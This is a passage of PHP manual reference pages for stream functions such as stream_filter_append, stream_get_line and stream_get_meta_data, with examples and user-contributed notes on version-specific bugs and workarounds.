hajo at clansphere dot de 20-Jun-2009 12:46
with php 5.2+ you can (should!) use the following line next to e.g. fopen() and specify the encoding of the content:

<?php
$charset = 'UTF-8';

stream_encoding($handle, $charset);
?>

in addition php 6 seems to need this since it triggers a notice level error if special chars must be converted and the above command is not specified (binary data excluded - just talkin bout clear text in this comment)


Attach a filter to a stream

  • « stream_encoding
  • stream_filter_prepend »
  • PHP Manual
  • Stream Functions
  • Attach a filter to a stream

stream_filter_append

(PHP 4 >= 4.3.0, PHP 5)

stream_filter_append — Attach a filter to a stream

Description

resource stream_filter_append ( resource $stream , string $filtername [, int $read_write [, mixed $params ]] )

Adds filtername to the list of filters attached to stream.

Parameters

stream

The target stream.

filtername

The filter name.

read_write

By default, stream_filter_append() will attach the filter to the read filter chain if the file was opened for reading (i.e. File Mode: r, and/or +). The filter will also be attached to the write filter chain if the file was opened for writing (i.e. File Mode: w, a, and/or +). STREAM_FILTER_READ, STREAM_FILTER_WRITE, and/or STREAM_FILTER_ALL can also be passed to the read_write parameter to override this behavior.

params

This filter will be added with the specified params to the end of the list and will therefore be called last during stream operations. To add a filter to the beginning of the list, use stream_filter_prepend().

Return Values

Returns a resource which can be used to refer to this filter instance during a call to stream_filter_remove().

Changelog

Version | Description
5.1.0 | Prior to PHP 5.1.0, this function returns TRUE on success or FALSE on failure.

Examples

Example #1 Controlling where filters are applied

<?php
/* Open a test file for reading and writing */
$fp = fopen('test.txt', 'w+');

/* Apply the ROT13 filter to the
 * write filter chain, but not the
 * read filter chain */
stream_filter_append($fp, "string.rot13", STREAM_FILTER_WRITE);

/* Write a simple string to the file
 * it will be ROT13 transformed on the
 * way out */
fwrite($fp, "This is a test\n");

/* Back up to the beginning of the file */
rewind($fp);

/* Read the contents of the file back out.
 * Had the filter been applied to the
 * read filter chain as well, we would see
 * the text ROT13ed back to its original state */
fpassthru($fp);

fclose($fp);

/* Expected Output
   ---------------

Guvf vf n grfg

 */
?>

Notes

Note: When using custom (user) filters
stream_filter_register() must be called first in order to register the desired user filter to filtername.

Note: Stream data is read from resources (both local and remote) in chunks, with any unconsumed data kept in internal buffers. When a new filter is appended to a stream, data in the internal buffers is processed through the new filter at that time. This differs from the behavior of stream_filter_prepend().

Note: When a filter is added for read and write, two instances of the filter are created. stream_filter_append() must be called twice with STREAM_FILTER_READ and STREAM_FILTER_WRITE to get both filter resources.

See Also

  • stream_filter_register() - Register a user defined stream filter
  • stream_filter_prepend() - Attach a filter to a stream
  • stream_get_filters() - Retrieve list of registered filters

User Contributed Notes

dlvoy 23-Jul-2008 09:20
While using compression filters on a large set of files during one script invocation i've got
        Fatal error: Allowed memory size of xxx bytes exhausted
even when my max memory limit settings was insane high (128MB)

Workaround is to remember to remove filter after work done with stream_filter_remove:

<?php
foreach($lot_of_files as $filename)
{
    $fp = fopen($filename, 'rb');
    $filter_params = array('level' => 2, 'window' => 15, $memory => 6);
    $s_filter = stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_READ, $filter_params);
    // here stream-operating code

    stream_filter_remove($s_filter);

    fclose($fp);
}
?>
net_navard at yahoo dot com 13-Dec-2005 07:47
Hello firends

The difference betweem adding a stream filter first or last in the filte list in only the order they will be applied to streams.

For example, if you're reading data from a file, and a given filter is placed in first place with stream_filter_prepend()the data will be processed by that filter first.

This example reads out file data and the filter is applied at the beginning of the reading operation:

<?php
/* Open a test file for reading */
$fp = fopen("test.txt", "r");
/* Apply the ROT13 filter to the
 * read filter chain, but not the
 * write filter chain */
stream_filter_prepend($fp, "string.rot13",
STREAM_FILTER_READ);
// read file data
$contents=fread($fp,1024);
// file data is first filtered and stored in $contents
echo $contents;
fclose($fp);
?>

On the other hand, if stream_filter_append() is used, then the filter will be applied at the end of the data operation. The thing about this is only the order filters are applied to streams. Back to the example, it's not the same thing removing new lines from file data and then counting the number of characters, than performing the inverse process. In this case, the order that filters are applied to stream is important.

This example writes a test string to a file. The filter is applied at the end of the writing operation:

<?php
/* Open a test file for writing */
$fp = fopen("test.txt", "w+");
/* Apply the ROT13 filter to the
 * write filter chain, but not the
 * read filter chain */
stream_filter_append($fp, "string.rot13",
STREAM_FILTER_WRITE);
/* Write a simple string to the file
 * it will be ROT13 transformed at the end of the
stream operation
 * way out */
fwrite($fp, "This is a test\n"); // string data is
first written, then ROT13 tranformed and lastly
written to file
/* Back up to the beginning of the file */
rewind($fp);
$contents=fread($fp,512);
fclose($fp);
echo $contents;
?>

In the first case, data is transformed at the end of the writing operation, while in the second one, data is first filtered and then stored in $contents.

                          With Regards
                              Hossein


Attach a filter to a stream

  • « stream_filter_append
  • stream_filter_register »
  • PHP Manual
  • Stream Functions
  • Attach a filter to a stream

stream_filter_prepend

(PHP 4 >= 4.3.0, PHP 5)

stream_filter_prepend — Attach a filter to a stream

Description

resource stream_filter_prepend ( resource $stream , string $filtername [, int $read_write [, mixed $params ]] )

Adds filtername to the list of filters attached to stream.

Parameters

stream

The target stream.

filtername

The filter name.

read_write

By default, stream_filter_prepend() will attach the filter to the read filter chain if the file was opened for reading (i.e. File Mode: r, and/or +). The filter will also be attached to the write filter chain if the file was opened for writing (i.e. File Mode: w, a, and/or +). STREAM_FILTER_READ, STREAM_FILTER_WRITE, and/or STREAM_FILTER_ALL can also be passed to the read_write parameter to override this behavior. See stream_filter_append() for an example of using this parameter.

params

This filter will be added with the specified params to the beginning of the list and will therefore be called first during stream operations. To add a filter to the end of the list, use stream_filter_append().

Return Values

Returns a resource which can be used to refer to this filter instance during a call to stream_filter_remove().

Changelog

Version | Description
5.1.0 | Prior to PHP 5.1.0, this function returns TRUE on success or FALSE on failure.

Notes

Note: When using custom (user) filters
stream_filter_register() must be called first in order to register the desired user filter to filtername.

Note: Stream data is read from resources (both local and remote) in chunks, with any unconsumed data kept in internal buffers. When a new filter is prepended to a stream, data in the internal buffers, which has already been processed through other filters will not be reprocessed through the new filter at that time. This differs from the behavior of stream_filter_append().

Note: When a filter is added for read and write, two instances of the filter are created. stream_filter_prepend() must be called twice with STREAM_FILTER_READ and STREAM_FILTER_WRITE to get both filter resources.

See Also

  • stream_filter_register() - Register a user defined stream filter
  • stream_filter_append() - Attach a filter to a stream

User Contributed Notes

There are no user contributed notes for this page.


Register a user defined stream filter

  • « stream_filter_prepend
  • stream_filter_remove »
  • PHP Manual
  • Stream Functions
  • Register a user defined stream filter

stream_filter_register

(PHP 5)

stream_filter_register — Register a user defined stream filter

Description

bool stream_filter_register ( string $filtername , string $classname )

stream_filter_register() allows you to implement your own filter on any registered stream used with all the other filesystem functions (such as fopen(), fread() etc.).

Parameters

filtername

The filter name to be registered.

classname

To implement a filter, you need to define a class as an extension of php_user_filter with a number of member functions. When performing read/write operations on the stream to which your filter is attached, PHP will pass the data through your filter (and any other filters attached to that stream) so that the data may be modified as desired. You must implement the methods exactly as described in php_user_filter - doing otherwise will lead to undefined behaviour.

Return Values

Returns TRUE on success or FALSE on failure.

stream_filter_register() will return FALSE if the filtername is already defined.

Examples

Example #1 Filter for capitalizing characters on foo-bar.txt stream

The example below implements a filter named strtoupper on the foo-bar.txt stream which will capitalize all letter characters written to/read from that stream.

<?php

/* Define our filter class */
class strtoupper_filter extends php_user_filter {
  function filter($in, $out, &$consumed, $closing)
  {
    while ($bucket = stream_bucket_make_writeable($in)) {
      $bucket->data = strtoupper($bucket->data);
      $consumed += $bucket->datalen;
      stream_bucket_append($out, $bucket);
    }
    return PSFS_PASS_ON;
  }
}

/* Register our filter with PHP */
stream_filter_register("strtoupper", "strtoupper_filter")
    or die("Failed to register filter");

$fp = fopen("foo-bar.txt", "w");

/* Attach the registered filter to the stream just opened */
stream_filter_append($fp, "strtoupper");

fwrite($fp, "Line1\n");
fwrite($fp, "Word - 2\n");
fwrite($fp, "Easy As 123\n");

fclose($fp);

/* Read the contents back out
 */
readfile("foo-bar.txt");

?>

The above example will output:

LINE1
WORD - 2
EASY AS 123

Example #2 Registering a generic filter class to match multiple filter names.

<?php

/* Define our filter class */
class string_filter extends php_user_filter {
  var $mode;

  function filter($in, $out, &$consumed, $closing)
  {
    while ($bucket = stream_bucket_make_writeable($in)) {
      if ($this->mode == 1) {
        $bucket->data = strtoupper($bucket->data);
      } elseif ($this->mode == 0) {
        $bucket->data = strtolower($bucket->data);
      }

      $consumed += $bucket->datalen;
      stream_bucket_append($out, $bucket);
    }
    return PSFS_PASS_ON;
  }

  function onCreate()
  {
    if ($this->filtername == 'str.toupper') {
      $this->mode = 1;
    } elseif ($this->filtername == 'str.tolower') {
      $this->mode = 0;
    } else {
      /* Some other str.* filter was asked for,
         report failure so that PHP will keep looking */
      return false;
    }

    return true;
  }
}

/* Register our filter with PHP */
stream_filter_register("str.*", "string_filter")
    or die("Failed to register filter");

$fp = fopen("foo-bar.txt", "w");

/* Attach the registered filter to the stream just opened
   We could alternately bind to str.tolower here */
stream_filter_append($fp, "str.toupper");

fwrite($fp, "Line1\n");
fwrite($fp, "Word - 2\n");
fwrite($fp, "Easy As 123\n");

fclose($fp);

/* Read the contents back out
 */
readfile("foo-bar.txt");
?>

The above example will output:

LINE1
WORD - 2
EASY AS 123

See Also

  • stream_wrapper_register() - Register a URL wrapper implemented as a PHP class
  • stream_filter_append() - Attach a filter to a stream
  • stream_filter_prepend() - Attach a filter to a stream

User Contributed Notes

There are no user contributed notes for this page.


Remove a filter from a stream

  • « stream_filter_register
  • stream_get_contents »
  • PHP Manual
  • Stream Functions
  • Remove a filter from a stream

stream_filter_remove

(PHP 5 >= 5.1.0)

stream_filter_remove — Remove a filter from a stream

Description

bool stream_filter_remove ( resource $stream_filter )

Removes a stream filter previously added to a stream with stream_filter_prepend() or stream_filter_append(). Any data remaining in the filter's internal buffer will be flushed through to the next filter before removing it.

Parameters

stream_filter

The stream filter to be removed.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Dynamicly refiltering a stream

<?php
/* Open a test file for reading and writing */
$fp = fopen("test.txt", "rw");

$rot13_filter = stream_filter_append($fp, "string.rot13", STREAM_FILTER_WRITE);
fwrite($fp, "This is ");
stream_filter_remove($rot13_filter);
fwrite($fp, "a test\n");

rewind($fp);
fpassthru($fp);
fclose($fp);

?>

The above example will output:

Guvf vf a test

See Also

  • stream_filter_register() - Register a user defined stream filter
  • stream_filter_append() - Attach a filter to a stream
  • stream_filter_prepend() - Attach a filter to a stream

User Contributed Notes

There are no user contributed notes for this page.


Reads remainder of a stream into a string

  • « stream_filter_remove
  • stream_get_filters »
  • PHP Manual
  • Stream Functions
  • Reads remainder of a stream into a string

stream_get_contents

(PHP 5)

stream_get_contents — Reads remainder of a stream into a string

Description

string stream_get_contents ( resource $handle [, int $maxlength = -1 [, int $offset = -1 ]] )

Identical to file_get_contents(), except that stream_get_contents() operates on an already open stream resource and returns the remaining contents in a string, up to maxlength bytes and starting at the specified offset.

Parameters

handle (resource)

A stream resource (e.g. returned from fopen())

maxlength (integer)

The maximum bytes to read. Defaults to -1 (read all the remaining buffer).

offset (integer)

Seek to the specified offset before reading. If this number is negative, no seeking will occur and reading will start from the current position.

Return Values

Returns a string or FALSE on failure.

Changelog

Version | Description
5.1.0 | The offset was added.

Examples

Example #1 stream_get_contents() example

<?php

if ($stream = fopen('http://www.example.com', 'r')) {
    // print all the page starting at the offset 10
    echo stream_get_contents($stream, -1, 10);

    fclose($stream);
}

if ($stream = fopen('http://www.example.net', 'r')) {
    // print the first 5 bytes
    echo stream_get_contents($stream, 5);

    fclose($stream);
}

?>

Notes

Note: This function is binary-safe.

See Also

  • fgets() - Gets line from file pointer
  • fread() - Binary-safe file read
  • fpassthru() - Output all remaining data on a file pointer

User Contributed Notes

vasiliy at hotger dot com 22-Mar-2012 05:38
It is important to know that stream_get_contents behaves differently with different versions of PHP. Consider the following

<?php

$handle = fopen('file', 'w+'); // truncate + attempt to create
fwrite($handle, '12345'); // file position > 0
rewind($handle); // position = 0
$content = stream_get_contents($handle); // file position = 0 in PHP 5.1.6, file position > 0 in PHP 5.2.17!
fwrite($handle, '6789');
fclose($handle);

/**
 *
 * 'file' content
 *
 * PHP 5.1.6:
 * 67895
 *
 * PHP 5.2.17:
 * 123456789
 *
 */
?>

As a result, stream_get_contents() affects file position in 5.1, and do not affect file position in 5.2 or better.
clarck dot smith at gmail dot com 18-Dec-2011 04:12
In that case when stream_get_contents/fread/fgets or other stream reading functions block indefinitely your script because they don't reached the limit of bytes to read use the socket_get_meta_data function to figure out the number of the bytes to read. It returns an array that contains a key named 'unread_bytes' and then pass that number to your favourite stream reading functions second parameter to read from the stream.

Maybe a good workaround to use the stream_select function, and set the socket to non-blocking mode with the use of stream_set_blocking($stream, 0). In this case the socket reading functions work properly.

Cheers, Ervin
Anonymous 04-Jul-2011 02:46
It seems that using fiddler as a proxy in the stream context options causes this function to throw a warning:

Warning: stream_get_contents() [function.stream-get-contents]: SSL: An existing connection was forcibly closed by the remote host.
m rahman 20-Jan-2011 10:53
When omitting the parameter $maxlength, any received bytes are stacked up until the underlying stream is not readable anymore, the the function returns that stack in one piece.
finalmau at gmail dot com 30-Apr-2008 01:28
some times this functions cause an max execution time time error, Why?

Simple, if you use it the function wait for have the specified byte  length into the resource or the end of file, but, several times this not happend, so we need implement an artificial flag like this:

$tmp = stream_get_contents($this->socket, 42);
while($tmp[42] != 'N'){

//Your code...

$tmp = stream_get_contents($this->socket, 42);
}


Retrieve list of registered filters

  • « stream_get_contents
  • stream_get_line »
  • PHP Manual
  • Stream Functions
  • Retrieve list of registered filters

stream_get_filters

(PHP 5)

stream_get_filters — Retrieve list of registered filters

Description

array stream_get_filters ( void )

Retrieve the list of registered filters on the running system.

Return Values

Returns an indexed array containing the name of all stream filters available.

Examples

Example #1 Using stream_get_filters()

<?php
$streamlist = stream_get_filters();
print_r($streamlist);
?>

The above example will output something similar to:

Array (
  [0] => string.rot13
  [1] => string.toupper
  [2] => string.tolower
  [3] => string.base64
  [4] => string.quoted-printable
)

See Also

  • stream_filter_register() - Register a user defined stream filter
  • stream_get_wrappers() - Retrieve list of registered streams

User Contributed Notes

Jasper Bekkers 05-Oct-2005 08:53
Filters to be used within the convert filter are base64-encode,  base64-decode, quoted-printable-encode and quoted-printable-decode. Note: those are not in the string filter, as currently reported by the manual!

Example usage is:
<?php
$h = fopen('gecodeerd.txt', 'r');
stream_filter_append($h, 'convert.base64-decode');
fpassthru($h);
fclose($h);
?>
Or
<?php
$filter = 'convert.base64-decode';
$file = 'coded.txt';
$h = fopen('php://filter/read=' . $filter . '/resource=' . $file,'r');
fpassthru($h);
fclose($h);
?>


Gets line from stream resource up to a given delimiter

  • « stream_get_filters
  • stream_get_meta_data »
  • PHP Manual
  • Stream Functions
  • Gets line from stream resource up to a given delimiter

stream_get_line

(PHP 5)

stream_get_line — Gets line from stream resource up to a given delimiter

Description

string stream_get_line ( resource $handle , int $length [, string $ending ] )

Gets a line from the given handle.

Reading ends when length bytes have been read, when the string specified by ending is found (which is not included in the return value), or on EOF (whichever comes first).

This function is nearly identical to fgets() except in that it allows end of line delimiters other than the standard \n, \r, and \r\n, and does not return the delimiter itself.

Parameters

handle

A valid file handle.

length

The number of bytes to read from the handle.

ending

An optional string delimiter.

Return Values

Returns a string of up to length bytes read from the file pointed to by handle.

If an error occurs, returns FALSE.

See Also

  • fread() - Binary-safe file read
  • fgets() - Gets line from file pointer
  • fgetc() - Gets character from file pointer

User Contributed Notes

kjeld at mail4us dot dk 22-Mar-2013 07:56
I have been struggling with the problem that stream_get_line() sometimes reads too much when the 3rd parameter is used (and the 3rd parameter has a length greater than 1), so $ending is actually contained in the data returned (https://bugs.php.net/bug.php?id=63240).

I don't have the option of upgrading my PHP version but it seems that a workaround can be to insert:

    fseek($fp, ftell($fp));

just before calling stream_get_line().
carltondickson 09-Jan-2013 01:25
If you are specifying the 3rd optional "ending" parameter as a string which is more than one character and actually find that the line returned by the function sometimes contains this "ending" value it may be related to the following bug, https://bugs.php.net/bug.php?id=63240

Our server was running 5.3.18 and when we upgraded to 5.3.20 it worked fine, I believe this was fixed in 5.3.19 though.
Anonymous 08-Jul-2012 12:35
WARNING:
Specifying a length of 0 does NOT give you an infinite length, contrary to what the documentation might suggest. Instead, setting a length of 0 just makes the function default to a length of 8192. To be precise, it gets the value PHP_SOCK_CHUNK_SIZE (8192) in ext/standard/streamsfuncs.c.

So, let's say you're trying to read ALL data until you reach a "\x03" (decimal 3) byte. How do you GUARANTEE that this is the case? Well, there's no way! The only thing you can do stream_get_lin() into a "master" string, then fseek() backwards by 1 character, then fgetc() and verify that it's "\x03". If you don't see a "\x03", it means that stream_get_line() has aborted after 8192 bytes and before hitting "\x03", and you'll have to call it again. Keep appending the return values to a "master" string until you hit a "\x03" or EOF... That's the ONLY way to properly build a string that contains EVERYTHING until the character you're looking for.
pk at ritm dot ru 30-Nov-2009 06:30
fgets is faster but stream_get_line is more useful in a tcp server scripts.

when fgets reads some bytes from socket, where EOF is reached, it returns bool(false) same as stream_get_line

BUT if remote client drops connection, and server script will try to read some data with function fgets, function will return bool(false), and stream_get_line will return string(0) ""

so you can detect remote client disconnection with stream_get_line, and cannot with fgets
amoo_miki at yahoo dot com 19-Aug-2008 07:34
If the "ending" is a string, there are cases where the function doesn't return the correct value for the first time it is called. Don't be shocked if you find it returning a string value of upto "length" that includes the "ending". (See bug #44607)

If the "ending" is just a single character, the function would always work correctly. ("\n" is a single character)

Temporarily, until this is fixed, the below function can be used:

<?php
function istream_get_line(&$fp, $length, $end) {
    $current = ftell($fp);
    $str = fread($fp, $length);
    $i = strpos($str, $end);
    if ($i === FALSE) {
        return $str;
    } else {
        fseek($fp, $current + $i + strlen($end));
        return substr($str, 0, $i);
    }
}
?>
Mat Jaggard at Tickets dot com 20-Dec-2007 05:12
I've spent quite a while trying to get stream_get_line to get a chunk encoded html file and to finish correctly at the end so that I can pipeline requests.

This is the function I have come up with.

<?php
    function getURLContents($url, $ip, $port, $ssl = false, $closeConnection = false)
    {
        if ($ssl)
            $ssl = 'ssl://';
        else
            $ssl = '';
        $fp = pfsockopen($ssl.$ip, $port, $errno, $errstr, MAX_TIME_TO_START_CONNECTION);
        if ($fp)
        {
            $out =  'GET '.$url." HTTP/1.1\r\n";
            $out .= 'Host: '.$ip.':'.$port."\r\n";
            if ($closeConnection)
                $out .= "Connection: close\r\n";
            else
                $out .= "Connection: keep-alive\r\n";
            $out .= "\r\n";
            if (!fwrite($fp, $out))
            {
                echo 'Problem writing to socket, opening a new connection.';
                fclose($fp);
                $fp = pfsockopen($ssl.$ip, $port, $errno, $errstr, MAX_TIME_TO_START_CONNECTION);
                fwrite($fp, $out);
            }
            $theData = '';
            $notDone = true;
            stream_set_blocking($fp, 0);
            $startTime = time();
            $lastTime = $startTime;
            while (!feof($fp) && !$done && (($startTime + MAX_TIME_FOR_THE_RESPONSE) > time()))
            {
                usleep(100);
                $theNewData = stream_get_line($fp, 1024, "\n");
                $theData .= $theNewData;
                $done = (trim($theNewData) === '0');

            }
        }
        else
        {
            echo 'ERROR CONNECTING TO '.$ip.':'.$port;
            return false;
        }
        if ($closeConnection)
            fclose($fp);
        return $theData;
    }
?>
dante at lorenso dot com 08-Jun-2006 09:34
My testing has found this function to be dramatically faster than fgets on PHP 5.1.14.  The difference is probably due to how buffering is used internally.  Compare the following:
<?php
// reads 10,000 lines in 27 seconds
while (!feof($handle)) {
    $line = fgets($handle, 1000000);
}
?>
vs.
<?php
// reads 10,000 lines in 0.5 seconds
while (!feof($handle)) {
    $line = stream_get_line($handle, 1000000, "\n");
}
?>
18-Apr-2006 11:07
In version 5.0.4 using this funtion and then calling ftell($stream) would give you the position up to but not including the "ending" string.

When I rev'd to PHP version 5.1.2, calling this function then using ftell($stream) would give the position up to AND including the "ending" string

for example, parsing HTTP responses.

The response from apache using curl....
------------------------------------------------------------
HTTP/1.1 200 OK
Date: Tue, 18 Apr 2006 20:54:59 GMT
Server: Apache/1.3.33 (Unix) PHP/5.0.4 mod_ssl/2.8.22 OpenSSL/0.9.7e
X-Powered-By: PHP/5.0.4
Transfer-Encoding: chunked
Content-Type: text/html

<html><body>test</body></html>
-------------------------------------------------------------

The code:

<?php

  $headers = stream_get_line($in,4096,"\r\n\r\n");

   fseek ($in,ftell($in)+4);

   while (!feof($in)){
      fputs ($out,stream_get_line($in,4096,''));
   }

?>

prior to my 5.0.4 this worked perfectly, trimming the \r\n\r\n section of the HTTP response and seperating the top into the $headers string, and the rest was placed into the file handle $out.

using php 5.1.2, the above code chopps off the first 4 bytes of the HTTP response and puts

l><body>test</body></html>

into $out.


Retrieves header/meta data from streams/file pointers

  • « stream_get_line
  • stream_get_transports »
  • PHP Manual
  • Stream Functions
  • Retrieves header/meta data from streams/file pointers

stream_get_meta_data

(PHP 4 >= 4.3.0, PHP 5)

stream_get_meta_data — Retrieves header/meta data from streams/file pointers

Description

array stream_get_meta_data ( resource $stream )

Returns information about an existing stream.

Parameters

stream

The stream can be any stream created by fopen(), fsockopen() and pfsockopen().

Return Values

The result array contains the following items:

  • timed_out (bool) - TRUE if the stream timed out while waiting for data on the last call to fread() or fgets().

  • blocked (bool) - TRUE if the stream is in blocking IO mode. See stream_set_blocking().

  • eof (bool) - TRUE if the stream has reached end-of-file. Note that for socket streams this member can be TRUE even when unread_bytes is non-zero. To determine if there is more data to be read, use feof() instead of reading this item.

  • unread_bytes (int) - the number of bytes currently contained in the PHP's own internal buffer.

    Note: You shouldn't use this value in a script.

  • stream_type (string) - a label describing the underlying implementation of the stream.

  • wrapper_type (string) - a label describing the protocol wrapper implementation layered over the stream. See Supported Protocols and Wrappers for more information about wrappers.

  • wrapper_data (mixed) - wrapper specific data attached to this stream. See Supported Protocols and Wrappers for more information about wrappers and their wrapper data.

  • mode (string) - the type of access required for this stream (see Table 1 of the fopen() reference)

  • seekable (bool) - whether the current stream can be seeked.

  • uri (string) - the URI/filename associated with this stream.

Examples

Example #1 stream_get_meta_data() example

<?php
$url = 'http://www.example.com/';

if (!$fp = fopen($url, 'r')) {
    trigger_error("Unable to open URL ($url)", E_USER_ERROR);
}

$meta = stream_get_meta_data($fp);

print_r($meta);

fclose($fp);
?>

The above example will output something similar to:

Array
(
    [wrapper_data] => Array
        (
            [0] => HTTP/1.1 200 OK
            [1] => Server: Apache/2.2.3 (Red Hat)
            [2] => Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT
            [3] => ETag: "b300b4-1b6-4059a80bfd280"
            [4] => Accept-Ranges: bytes
            [5] => Content-Type: text/html; charset=UTF-8
            [6] => Set-Cookie: FOO=BAR; expires=Fri, 21-Dec-2012 12:00:00 GMT; path=/; domain=.example.com
            [6] => Connection: close
            [7] => Date: Fri, 16 Oct 2009 12:00:00 GMT
            [8] => Age: 1164
            [9] => Content-Length: 438
        )

    [wrapper_type] => http
    [stream_type] => tcp_socket/ssl
    [mode] => r
    [unread_bytes] => 438
    [seekable] =>
    [uri] => http://www.example.com/
    [timed_out] =>
    [blocked] => 1
    [eof] =>
)

Notes

Note:

This function does NOT work on sockets created by the Socket extension.

See Also

  • get_headers() - Fetches all the headers sent by the server in response to a HTTP request
  • $http_response_header

User Contributed Notes

derkontrollfreak+9hy5l at gmail dot com 25-Aug-2014 06:11
Apparently, custom wrappers are always seekable.
php dot chaska at xoxy dot net 07-Jun-2014 05:42
In PHP 5.4.24 and 5.4.25, this command does not correctly return the stream blocking status.  It always returns ['blocked'] == 1 regardless of the actual blocking mode.  A call to stream_set_blocking($stream, 0) will succeed (return TRUE) and subsequent calls to stream_get_contents($stream) will NOT block, even though a call to stream_get_meta_data($stream) will return 'blocked' == 1.  Hopefully this will save some people a bunch of debugging time.

See bug report #47918 for more information (http://bugs.php.net/bug.php?id=47918).

Proof:
<?php
$d = array(
    0 => array('pipe', 'r'),
    1 => array('pipe', 'w'),
    2 => array('file', 'error.log', 'a')
);

$p = proc_open('php -S localhost:8000', $d, $pipes);

if (!is_resource($p))   die("proc_open() failed\n");

// Set child's stdout pipe to non-blocking.
if (!stream_set_blocking($pipes[1], 0)) {
    die("stream_set_blocking() failed\n");
}
else {
    echo "Non-blocking mode should be set.\n";
}

// View the status of that same pipe.
// Note that 'blocked' is 1!  This appears to be wrong.
print_r(stream_get_meta_data($pipes[1]));

// Try to read something.  This will block if in blocking mode.
// If it does not block, stream_set_blocking() worked but
// stream_get_meta_data() is lying about blocking mode.
$data = stream_get_contents($pipes[1]);

echo "data = '$data'\n";
?>

Output:
Non-blocking mode should be set.
Array
(
    [stream_type] => STDIO
    [mode] => r
    [unread_bytes] => 0
    [seekable] =>
    [timed_out] =>
    [blocked] => 1         // << claims to be in blocking mode
    [eof] =>
)
data = ''                      // this would never appear if we blocked.
niels at nise81 dot com 03-Mar-2008 02:49
here is just an example how to read out all meta data.
how ever I found out that the "seekable"-entry doesn't exist in most of the streaming media files.

      if (!($fp = @fopen($url, 'r')))
         return NULL;

      $meta = stream_get_meta_data($fp);

          foreach(array_keys($meta) as $h){
              $v = $meta[$h];
              echo "".$h.": ".$v."<br/>";
              if(is_array($v)){
                  foreach(array_keys($v) as $hh){
                      $vv = $v[$hh];
                      echo "_".$hh.": ".$vv."<br/>";
                  }
              }
          }
      fclose($fp);
ed at readinged dot com 29-Jan-2003 04:54
Below is a function I wrote to pull the "Last-Modified" header from a given URL.  In PHP version 4.3 and above, it takes advantage of the stream_get_meta_data function, and in older version it uses a conventional GET procedure.  On failure to connect to $url, it returns NULL.  If the server does not return the Last-Modified header, it returns the current time.  All times are returned in PHP's integer format (seconds since epoch).

Use it as so:

$last_modified = stream_last_modified('http://www.php.net/news.rss');
if (!is_null($last_modified))
   if ($last_modified < time()-3600) //Older than an hour
      echo 'URL is older than an hour.';
   else
      echo 'URL is fairly new.';
else
   echo 'Invalid URL!';

function stream_last_modified($url)
{
   if (function_exists('version_compare') && version_compare(phpversion(), '4.3.0') > 0)
   {
      if (!($fp = @fopen($url, 'r')))
         return NULL;

      $meta = stream_get_meta_data($fp);
      for ($j = 0; isset($meta['wrapper_data'][$j]); $j++)
      {
         if (strstr(strtolower($meta['wrapper_data'][$j]), 'last-modified'))
         {
            $modtime = substr($meta['wrapper_data'][$j], 15);
            break;
         }
      }
      fclose($fp);
   }
   else
   {
      $parts = parse_url($url);
      $host  = $parts['host'];
      $path  = $parts['path'];

      if (!($fp = @fsockopen($host, 80)))
         return NULL;

      $req = "HEAD $path HTTP/1.0\r\nUser-Agent: PHP/".phpversion()."\r\nHost: $host:80\r\nAccept: */*\r\n\r\n";
      fputs($fp, $req);

      while (!feof($fp))
      {
         $str = fgets($fp, 4096);
         if (strstr(strtolower($str), 'last-modified'))
         {
            $modtime = substr($str, 15);
            break;
         }
      }
      fclose($fp);
  }
   return isset($modtime) ? strtotime($modtime) : time();
}


Retrieve list of registered socket transports

  • « stream_get_meta_data
  • stream_get_wrappers »
  • PHP Manual
  • Stream Functions
  • Retrieve list of registered socket transports

stream_get_transports

(PHP 5)

stream_get_transports — Retrieve list of registered socket transports

Description

array stream_get_transports ( void )

Returns an indexed array containing the name of all socket transports available on the running system.

Return Values

Returns an indexed array of socket transports names.

Examples

Example #1 Using stream_get_transports()

<?php
$xportlist = stream_get_transports();
print_r($xportlist);
?>

The above example will output something similar to:

Array (
  [0] => tcp
  [1] => udp
  [2] => unix
  [3] => udg
)

See Also

  • stream_get_filters() - Retrieve list of registered filters
  • stream_get_wrappers() - Retrieve list of registered streams

User Contributed Notes

There are no user contributed notes for this page.


Retrieve list of registered streams

  • « stream_get_transports
  • stream_is_local »
  • PHP Manual
  • Stream Functions
  • Retrieve list of registered streams

stream_get_wrappers

(PHP 5)

stream_get_wrappers — Retrieve list of registered streams

Description

array stream_get_wrappers ( void )

Retrieve list of registered streams available on the running system.

Return Values

Returns an indexed array containing the name of all stream wrappers available on the running system.

Examples

Example #1 stream_get_wrappers() example

<?php
print_r(stream_get_wrappers());
?>

The above example will output something similar to:

Array
(
    [0] => php
    [1] => file
    [2] => http
    [3] => ftp
    [4] => compress.bzip2
    [5] => compress.zlib
)

Example #2 Checking for the existence of a stream wrapper

<?php
// check for the existence of the bzip2 stream wrapper
if (in_array('compress.bzip2', stream_get_wrappers())) {
    echo 'compress.bzip2:// support enabled.';
} else {
    echo 'compress.bzip2:// support not enabled.';
}
?>

See Also

  • stream_wrapper_register() - Register a URL wrapper implemented as a PHP class

User Contributed Notes

There are no user contributed notes for this page.


Checks if a stream is a local stream

  • « stream_get_wrappers
  • stream_notification_callback »
  • PHP Manual
  • Stream Functions
  • Checks if a stream is a local stream

stream_is_local

(PHP 5 >= 5.2.4)

stream_is_local — Checks if a stream is a local stream

Description

bool stream_is_local ( mixed $stream_or_url )

Checks if a stream, or a URL, is a local one or not.

Parameters

stream_or_url

The stream resource or URL to check.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 stream_is_local() example

Basic usage example.

<?php
var_dump(stream_is_local("http://example.com"));
var_dump(stream_is_local("/etc"));
?>

The above example will output something similar to:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


A callback function for the notification context parameter

  • « stream_is_local
  • stream_register_wrapper »
  • PHP Manual
  • Stream Functions
  • A callback function for the notification context parameter

stream_notification_callback

(PHP 5 >= 5.2.0)

stream_notification_callback — A callback function for the notification context parameter

Description

void stream_notification_callback ( int $notification_code , int $severity , string $message , int $message_code , int $bytes_transferred , int $bytes_max )

A callable function, used by the notification context parameter, called during an event.

Note:

This is not a real function, only a prototype of how the function should be.

Parameters

notification_code

One of the STREAM_NOTIFY_* notification constants.

severity

One of the STREAM_NOTIFY_SEVERITY_* notification constants.

message

Passed if a descriptive message is available for the event.

message_code

Passed if a descriptive message code is available for the event.

The meaning of this value is dependent on the specific wrapper in use.

bytes_transferred

If applicable, the bytes_transferred will be populated.

bytes_max

